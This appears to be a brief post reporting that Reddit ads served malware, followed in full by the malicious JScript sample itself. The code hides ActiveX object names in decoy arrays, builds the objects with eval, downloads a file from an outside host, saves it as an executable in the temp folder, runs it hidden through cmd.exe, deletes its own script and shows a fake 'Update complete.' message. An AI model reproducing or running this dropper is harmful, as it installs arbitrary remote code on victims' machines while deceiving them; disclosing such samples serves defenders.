Reddit Ads serving malware

 try{
 function wfqlkj0()
 {
    var awrqafj = ['qwfqw','qwfqwf','qwfqwf','Wscript.Shell'];
    return awrqafj[3];
 }
 function wfqlkj1()
 {
    var awrqafj = ['qwfqw','Scripting.FileSystemObject','qwfqwf','23fg1wf'];
    return awrqafj[1];
 }

 function wfqlkj2()
 {
    var awrqafj = ['qwfqw','23tt23tffd','MSXML2.XMLHTTP','23fg1wf'];
    return awrqafj[2];
 }

 function wfqlkj3()
 {
    var awrqafj = ['ADODB.Stream','asdq2d2d','qwfqwf','23fg1wf'];
    return awrqafj[0];
 }

 var ar = ['a','b','c','d'];
 var i =0;
 for (var pp in ar)
 {
    eval(ar[pp]+'=new'+' '+'ActiveXObject(wfq'+'lkj'+i+'())');
    i++;
 }

 url='https://ohchukentvideo.org/10/524.dat';
 fname=b.GetSpecialFolder(2)+'\\e8ac2a50d234a11a520602bb7f6e77f1.exe';
 for(var i=1;i<=5;i++){try{c.open('GET', url, false);c.send(null);break;}catch(e){WScript.Sleep(5000);}}
 d.Open;
 d.Type = 1;
 d.Write(c.ResponseBody);
 d.Position=0;
 if (b.Fileexists(fname))b.DeleteFile(fname);
 d.SaveToFile(fname);
 a.run('cmd.exe /c "'+fname+'"',0,false);
 var p = WScript.ScriptFullName;
 if (b.FileExists(p))b.DeleteFile(p);
 WScript.Echo('Update complete.');
 } catch (e) {}